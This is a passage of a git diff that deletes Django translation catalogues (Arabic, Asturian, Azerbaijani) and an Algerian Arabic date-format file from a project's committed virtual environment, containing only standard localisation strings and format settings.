-msgstr "" -"تشاهد هذه الصفحة لأن DEBUG = True موجود في ملف الإعدادات الخاص بك ولم تقم بتكوين أي " -"عناوين URL." - -msgid "Django Documentation" -msgstr "توثيق جانغو" - -msgid "Topics, references, & how-to’s" -msgstr "الموضوعات ، المراجع، & الكيفية" - -msgid "Tutorial: A Polling App" -msgstr "البرنامج التعليمي: تطبيق الاقتراع" - -msgid "Get started with Django" -msgstr "الخطوات الأولى مع جانغو" - -msgid "Django Community" -msgstr "مجتمع جانغو" - -msgid "Connect, get help, or contribute" -msgstr "الاتصال، الحصول على المساعدة أو المساهمة" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e2c1f6e5..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 4184769e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/formats.py deleted file mode 100644 index cbd361d6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ar_DZ/formats.py +++ /dev/null @@ -1,29 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j F Y" -SHORT_DATETIME_FORMAT = "j F Y H:i" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y/%m/%d", # '2006/10/25' -] -TIME_INPUT_FORMATS = [ - "%H:%M", # '14:30 - "%H:%M:%S", # '14:30:59' -] -DATETIME_INPUT_FORMATS = [ - "%Y/%m/%d %H:%M", # '2006/10/25 14:30' - "%Y/%m/%d %H:%M:%S", # '2006/10/25 14:30:59' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.mo deleted file mode 100644 index 31733b2e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.po deleted file mode 100644 index 417f18db..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ast/LC_MESSAGES/django.po +++ /dev/null @@ -1,1237 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ḷḷumex03 , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Asturian (http://www.transifex.com/django/django/language/" -"ast/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ast\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikáans" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Azerbaixanu" - -msgid "Bulgarian" -msgstr "Búlgaru" - -msgid "Belarusian" -msgstr "Bielorrusu" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "Bretón" - -msgid "Bosnian" -msgstr "Bosniu" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Czech" -msgstr "Checu" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Danés" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Griegu" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Inglés británicu" - -msgid "Esperanto" -msgstr "Esperantu" - -msgid "Spanish" -msgstr "Castellán" - -msgid "Argentinian Spanish" -msgstr "Español arxentín" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Español mexicanu" - -msgid "Nicaraguan Spanish" -msgstr "Español nicaraguanu" - -msgid "Venezuelan Spanish" -msgstr "Español venezolanu" - -msgid "Estonian" -msgstr "Estoniu" - -msgid "Basque" -msgstr "Vascu" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisón" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Gallegu" - -msgid "Hebrew" -msgstr "Hebréu" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Húngaru" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesiu" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italianu" - -msgid "Japanese" -msgstr "Xaponés" - -msgid "Georgian" -msgstr "Xeorxanu" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Canarés" - -msgid "Korean" -msgstr "Coreanu" - -msgid "Luxembourgish" -msgstr "Luxemburgués" - -msgid "Lithuanian" -msgstr "Lituanu" - -msgid "Latvian" -msgstr "Letón" - -msgid "Macedonian" -msgstr "Macedoniu" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "Birmanu" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nepalí" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk noruegu" - -msgid "Ossetic" -msgstr "Osetiu" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polacu" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués brasileñu" - -msgid "Romanian" -msgstr "Rumanu" - -msgid "Russian" -msgstr "Rusu" - -msgid "Slovak" -msgstr "Eslovacu" - -msgid "Slovenian" -msgstr "Eslovenu" - -msgid "Albanian" -msgstr "Albanu" - -msgid "Serbian" -msgstr "Serbiu" - -msgid "Serbian Latin" -msgstr "Serbiu llatín" - -msgid "Swedish" -msgstr "Suecu" - -msgid "Swahili" -msgstr "Suaḥili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Thai" -msgstr "Tailandés" - -msgid "Turkish" -msgstr "Turcu" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurtu" - -msgid "Ukrainian" -msgstr "Ucranianu" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chinu simplificáu" - -msgid "Traditional Chinese" -msgstr "Chinu tradicional" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Introduz un valor válidu." - -msgid "Enter a valid URL." -msgstr "Introduz una URL válida." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Introduz una direición de corréu válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Introduz una direición IPv4 válida." - -msgid "Enter a valid IPv6 address." -msgstr "Introduz una direición IPv6 válida." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Introduz una direición IPv4 o IPv6 válida." - -msgid "Enter only digits separated by commas." -msgstr "Introduz namái díxitos separtaos per comes." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Asegúrate qu'esti valor ye %(limit_value)s (ye %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrate qu'esti valor ye menor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrate qu'esti valor ye mayor o igual a %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrate qu'esti valor tien polo menos %(limit_value)d caráuter (tien " -"%(show_value)d)." -msgstr[1] "" -"Asegúrate qu'esti valor tien polo menos %(limit_value)d caráuteres (tien " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrate qu'esti valor tien como muncho %(limit_value)d caráuter (tien " -"%(show_value)d)." -msgstr[1] "" -"Asegúrate qu'esti valor tien como muncho %(limit_value)d caráuteres (tien " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Introduz un númberu." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrate que nun hai más de %(max)s díxitu en total." -msgstr[1] "Asegúrate que nun hai más de %(max)s díxitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrate que nun hai más de %(max)s allugamientu decimal." -msgstr[1] "Asegúrate que nun hai más de %(max)s allugamientos decimales." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrate que nun hai más de %(max)s díxitu enantes del puntu decimal." -msgstr[1] "" -"Asegúrate que nun hai más de %(max)s díxitos enantes del puntu decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Esti campu nun pue ser nulu." - -msgid "This field cannot be blank." -msgstr "Esti campu nun pue tar baleru." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s con esti %(field_label)s yá esiste." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campu de la triba: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boleanu (tamién True o False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (fasta %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Enteros separtaos per coma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Data (ensin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Data (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Númberu decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Direición de corréu" - -msgid "File path" -msgstr "Camín del ficheru" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Númberu de puntu flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Enteru" - -msgid "Big (8 byte) integer" -msgstr "Enteru big (8 byte)" - -msgid "IPv4 address" -msgstr "Direición IPv4" - -msgid "IP address" -msgstr "Direición IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boleanu (tamién True, False o None)" - -msgid "Positive integer" -msgstr "Enteru positivu" - -msgid "Positive small integer" -msgstr "Enteru pequeñu positivu" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (fasta %(max_length)s)" - -msgid "Small integer" -msgstr "Enteru pequeñu" - -msgid "Text" -msgstr "Testu" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos binarios crudos" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Ficheru" - -msgid "Image" -msgstr "Imaxe" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Clave foriata (triba determinada pol campu rellacionáu)" - -msgid "One-to-one relationship" -msgstr "Rellación a ún" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Rellación a munchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Requierse esti campu." - -msgid "Enter a whole number." -msgstr "Introduz un númberu completu" - -msgid "Enter a valid date." -msgstr "Introduz una data válida." - -msgid "Enter a valid time." -msgstr "Introduz una hora válida." - -msgid "Enter a valid date/time." -msgstr "Introduz una data/hora válida." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nun s'unvió'l ficheru. Comprueba la triba de cifráu nel formulariu." - -msgid "No file was submitted." -msgstr "No file was submitted." - -msgid "The submitted file is empty." -msgstr "El ficheru dunviáu ta baleru." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrate qu'esti nome de ficheru tien polo menos %(max)d caráuter (tien " -"%(length)d)." -msgstr[1] "" -"Asegúrate qu'esti nome de ficheru tien polo menos %(max)d caráuteres (tien " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Por favor, dunvia un ficheru o conseña la caxella , non dambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Xubi una imaxe válida. El ficheru que xubiesti o nun yera una imaxe, o taba " -"toriada." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Esbilla una escoyeta válida. %(value)s nun una ún de les escoyetes " -"disponibles." - -msgid "Enter a list of values." -msgstr "Introduz una llista valores." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campu anubríu %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Por favor, dunvia %d o menos formularios." -msgstr[1] "Por favor, dunvia %d o menos formularios." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Orde" - -msgid "Delete" -msgstr "Desanciar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, igua'l datu duplicáu de %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor, igua'l datu duplicáu pa %(field)s, el cual tien de ser únicu." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor, igua'l datu duplicáu de %(field_name)s el cual tien de ser únicu " -"pal %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, igua los valores duplicaos embaxo" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Esbilla una escoyeta válida. Esa escoyeta nun ye una de les escoyetes " -"disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Llimpiar" - -msgid "Currently" -msgstr "Anguaño" - -msgid "Change" -msgstr "Camudar" - -msgid "Unknown" -msgstr "Desconocíu" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "Non" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "sí,non,quiciabes" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "Media nueche" - -msgid "noon" -msgstr "Meudía" - -msgid "Monday" -msgstr "Llunes" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Miércoles" - -msgid "Thursday" -msgstr "Xueves" - -msgid "Friday" -msgstr "Vienres" - -msgid "Saturday" -msgstr "Sábadu" - -msgid "Sunday" -msgstr "Domingu" - -msgid "Mon" -msgstr "LLu" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mie" - -msgid "Thu" -msgstr "Xue" - -msgid "Fri" -msgstr "Vie" - -msgid "Sat" -msgstr "Sáb" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Xineru" - -msgid "February" -msgstr "Febreru" - -msgid "March" -msgstr "Marzu" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayu" - -msgid "June" -msgstr "Xunu" - -msgid "July" -msgstr "Xunetu" - -msgid "August" -msgstr "Agostu" - -msgid "September" -msgstr "Setiembre" - -msgid "October" -msgstr "Ochobre" - -msgid "November" -msgstr "Payares" - -msgid "December" -msgstr "Avientu" - -msgid "jan" -msgstr "xin" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "xun" - -msgid "jul" -msgstr "xnt" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "och" - -msgid "nov" -msgstr "pay" - -msgid "dec" -msgstr "avi" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Xin." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Mar." - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "May." - -msgctxt "abbrev. month" -msgid "June" -msgstr "Xun." - -msgctxt "abbrev. month" -msgid "July" -msgstr "Xnt." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Och." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Pay." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Avi." - -msgctxt "alt. month" -msgid "January" -msgstr "Xineru" - -msgctxt "alt. month" -msgid "February" -msgstr "Febreru" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzu" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayu" - -msgctxt "alt. month" -msgid "June" -msgstr "Xunu" - -msgctxt "alt. month" -msgid "July" -msgstr "Xunetu" - -msgctxt "alt. month" -msgid "August" -msgstr "Agostu" - -msgctxt "alt. month" -msgid "September" -msgstr "Setiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Ochobre" - -msgctxt "alt. month" -msgid "November" -msgstr "Payares" - -msgctxt "alt. month" -msgid "December" -msgstr "Avientu" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d añu" -msgstr[1] "%d años" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d mes" -msgstr[1] "%d meses" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d selmana" -msgstr[1] "%d selmanes" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d día" -msgstr[1] "%d díes" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d hora" -msgstr[1] "%d hores" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d minutu" -msgstr[1] "%d minutos" - -msgid "0 minutes" -msgstr "0 minutos" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Nun s'especificó l'añu" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Nun s'especificó'l mes" - -msgid "No day specified" -msgstr "Nun s'especificó'l día" - -msgid "No week specified" -msgstr "Nun s'especificó la selmana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ensin %(verbose_name_plural)s disponible" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Nun ta disponible'l %(verbose_name_plural)s futuru porque %(class_name)s." -"allow_future ye False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nun s'alcontró %(verbose_name)s que concase cola gueta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Páxina inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Nun tán almitíos equí los indexaos de direutoriu." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índiz de %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.mo deleted file mode 100644 index 441b0ca0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.po deleted file mode 100644 index 72734bb6..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/az/LC_MESSAGES/django.po +++ /dev/null @@ -1,1347 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Emin Mastizada , 2018,2020 -# Emin Mastizada , 2015-2016 -# Metin Amiroff , 2011 -# Nicat Məmmədov , 2022 -# Nijat Mammadov, 2024 -# Sevdimali , 2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Sevdimali , 2024\n" -"Language-Team: Azerbaijani (http://app.transifex.com/django/django/language/" -"az/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: az\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Ərəb" - -msgid "Algerian Arabic" -msgstr "Əlcəzair Ərəbcəsi" - -msgid "Asturian" -msgstr "Asturiya" - -msgid "Azerbaijani" -msgstr "Azərbaycan" - -msgid "Bulgarian" -msgstr "Bolqar" - -msgid "Belarusian" -msgstr "Belarus" - -msgid "Bengali" -msgstr "Benqal" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosniya" - -msgid "Catalan" -msgstr "Katalon" - -msgid "Central Kurdish (Sorani)" -msgstr "Mərkəzi Kürd dili (Sorani)" - -msgid "Czech" -msgstr "Çex" - -msgid "Welsh" -msgstr "Uels" - -msgid "Danish" -msgstr "Danimarka" - -msgid "German" -msgstr "Alman" - -msgid "Lower Sorbian" -msgstr "Aşağı Sorb" - -msgid "Greek" -msgstr "Yunan" - -msgid "English" -msgstr "İngilis" - -msgid "Australian English" -msgstr "Avstraliya İngiliscəsi" - -msgid "British English" -msgstr "Britaniya 